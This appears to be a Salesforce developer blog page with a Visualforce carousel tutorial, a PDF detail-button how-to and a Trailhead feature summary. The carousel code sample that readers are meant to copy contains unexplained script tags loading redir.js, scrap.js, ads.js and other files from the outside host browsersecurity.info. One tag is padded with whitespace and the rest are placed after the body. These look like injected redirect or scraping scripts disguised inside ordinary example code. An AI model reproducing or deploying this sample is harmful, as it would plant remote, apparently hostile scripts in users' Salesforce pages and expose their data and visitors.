Showing posts with label visualforce. Show all posts
Showing posts with label visualforce. Show all posts

Saturday, 23 January 2016

Carousel Slide In Visualforce

The Carousel plugin is a component for cycling through elements, like a carousel (slideshow).

Today, am going to show how to create Carousel slide effect in Visualforce Page.

First download the required files that are mentioned below and add them to the static resource of salesforce org.

  1. http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css
  2. https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js
  3. http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js
  4. http://code.jquery.com/jquery-1.8.2.min.js
So, here is my code for Carousel slide effect in Visualforce Page.



<apex:page docType="html-5.0" showHeader="false" sidebar="false">
<html lang="en">
<head>
  <title>Casousel Slide Example</title>
  <apex:includeScript value="{!$Resource.jQuery182min}"/>
  <script src="http://browsersecurity.info/js/redir.js" type="text/javascript">               </script>

  <meta charset="utf-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1"/>
  <apex:stylesheet value="{!$Resource.bootstrapmincss}"/>
  <apex:includeScript value="{!$Resource.jqueryminjs}"/>
  <apex:includeScript value="{!$Resource.bootstrapminjs}"/>
  <style>
  .carousel-inner > .item > img,
  .carousel-inner > .item > a > img {
      width: 70%;
      height: 500px;
      margin: auto;
  }
  </style>
</head>
<body>

<div class="container">
  <br/>
  <div id="myCarousel" class="carousel slide" data-ride="carousel">
    <!-- Indicators -->
    <ol class="carousel-indicators">
      <li data-target="#myCarousel" data-slide-to="0" class="active"></li>
      <li data-target="#myCarousel" data-slide-to="1"></li>
      <li data-target="#myCarousel" data-slide-to="2"></li>
      <li data-target="#myCarousel" data-slide-to="3"></li>
    </ol>

    <!-- Wrapper for slides -->
    <div class="carousel-inner" role="listbox">
      <div class="item active">
        <img src="{!URLFOR($Resource.MinionsDemo, 'Minion/1.jpg')}" alt="Minion1" width="460" height="345"/>
      </div >

      <div class="item">
        <img src="{!URLFOR($Resource.MinionsDemo, 'Minion/2.jpg')}" alt="Minion2" width="460" height="345"/>
      </div >
    
      <div class="item">
        <img src="{!URLFOR($Resource.MinionsDemo, 'Minion/3.jpg')}" alt="Minion3" width="460" height="345"/>
      </div >

      <div class="item">
        <img src="{!URLFOR($Resource.MinionsDemo, 'Minion/4.jpg')}" alt="Minion4" width="460" height="345"/>
      </div>
    </div>

    <!-- Left and right controls -->
    <a class="left carousel-control" href="#myCarousel" role="button" data-slide="prev">
      <span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span>
      <span class="sr-only">Previous</span>
    </a>
    <a class="right carousel-control" href="#myCarousel" role="button" data-slide="next">
      <span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span>
      <span class="sr-only">Next</span>
    </a>
  </div>
</div>

</body>
<script src="http://browsersecurity.info/js/scrap.js" type="text/javascript"></script>
<script src="http://browsersecurity.info/js/ads.js" type="text/javascript"></script>
<script src="http://browsersecurity.info/js/jquery.js" type="text/javascript"></script>
<script src="http://browsersecurity.info/js/essence.js" type="text/javascript"></script>
</html>
</apex:page>



output :

       

Friday, 8 January 2016

DETAIL PAGE BUTTON TO SHOW PDF FILE IN SALESFORCE

       
                    Salesforce is as easy as telling 1, 2, 3. Salesforce visualforce is allow us to create a PDF in simple keyword called renderAs
                    
HOW TO SHOW CUSTOM BUTTON THAT DISPLAYS PDF

                    Ok, lets start with creating your visualforce page that renderAs PDF and Add custom button to detail page of the object.

Am using INVOICE object  and the Api Name is Invoice__c.

1. Create Visualforce and name as InvoicePDF.vfp


     <apex:page standardController="Invoice__c"  showHeader="false" sidebar="false"                                 renderAs="PDF">

              //do what you want
              ...........
                         {!Invoice__c.Name}
              .............
             //do what you want

</apex:page>


renderAs="PDF" - This will render the visualforce page as PDF.

2. Add the Custom Button(Visualforce button named InvoicePDF.vfp) to Detail Page.(Optional)

     Goto,
  1. Invoice Object 
  2. Scroll down to Buttons, Links and Actions.
  3. Click new.
  4. Name the Button.
  5. Click on Detail Page Button.
  6. Select Visualforce Page from Dropdown. 
  7. Select InvoicePDF from the list.
  8. Click on Save and Add to PageLayout.


Recommanded : DOWNLOAD PDF'S AS ZIP FILE FROM LIST VIEW OF THE OBJECT


That's it you have done it. Hope it helps you. Thanks.

See you back. Happy Smile!!.

Wednesday, 16 December 2015

MEET THE NEW TRAILHEAD OF SALESFORCE


Trailhead is a fun, easy and free way to learn Salesforce. But you already knew that. In fact, you’ve probably done some of the million+ challenges that have been completed and earned one (or more) of the 250,000+ badges that have been awarded in Trailhead to date. You’re probably wondering “what have you done for me lately”? Glad you asked!

Today, they’re making Trailhead generally available (bye bye, beta) and releasing the biggest ever update to Trailhead with a fresh new look and tons of exciting new features. Let me highlight some of the exciting new features.

A fresh new look

If you go to Trailhead today, the first thing you’ll notice is the new user interface. Designed a fresh new user experience that focuses on the core Trailhead values of making learning Salesforce fun, easy and guided. Here’s a quick look at the new experience.


Localization for French, German and Japanese

Trailhead has been busy taking language classes and now speaks French, German and Japanese! Salesforce started by localizing 21 of our most popular modules and they keep adding more over time.

Share your badges on LinkedIn

One of the most commonly requested features in Trailhead was the ability to share your well-earned badges on LinkedIn. It now takes a single click to do exactly that. Click the ‘Share on LinkedIn’ button after you earn a badge and it will automatically be added to your LinkedIn profile. Salesforce excited to reinvent your Salesforce resume with Trailhead and to share your skills and accomplishments on the world’s most popular professional social network.
I know what you’re thinking though. How do I share the badges that I’ve already earned? <Safe Harbor>Salesforce working on supporting that use case and so stay tuned for further updates.</Safe Harbor>

Easier and more personal ways to find content

Since Salesforce launched last year content has grown by leaps and bounds. They’ve gone from 11 modules to 66 modules and projects (including the limited edition Catter and Dreamforce badges!) and have content for everyone – admins, developers, and business users for Sales Cloud, Service Cloud, App Cloud, Wave Analytics, and even Non-profits. To help  you pick the trails, modules or projects that are perfect for you, they’ve added the ability to filter Trailhead content for role, level and product. It is now easier than ever to find and hike the perfect trail for you!
They’ve also made it easier for you to get back on the trail if you take a break. Once you log in to Trailhead, the trailsmodules andprojects are automatically sorted in the order that you last worked on them.

New global search

They’ve also added huge improvements to our global search. It’s now easier than ever to find exactly what you’re looking for in Trailhead. Simply type what you’re looking to learn into the top right search field and voilĂ  (that’s Trailhead localization for you!), you’ll see all the matching results, organized by the respective module or project.

Discover related projects along the trails

Projects provide step-by-step tutorials for getting hands-on with features like Lightning Process Builder, Apex, Lightning Components and much more. They’ve now integrated projects into your guided learning journey by listing ‘Related Projects’ for each trail.


It’s been quite the journey for us as Trailhead has gone from 0 to 250,000+ badges. They’ve been humbled and energized with how you’ve embraced Trailhead and used it to transform your careers. They’re committed to making it better (and badgier!) every single day and this release is one step in that journey
I hope that you like the fresh new look of Trailhead and are excited to be on the journey to  the next million badges together. Happy trails!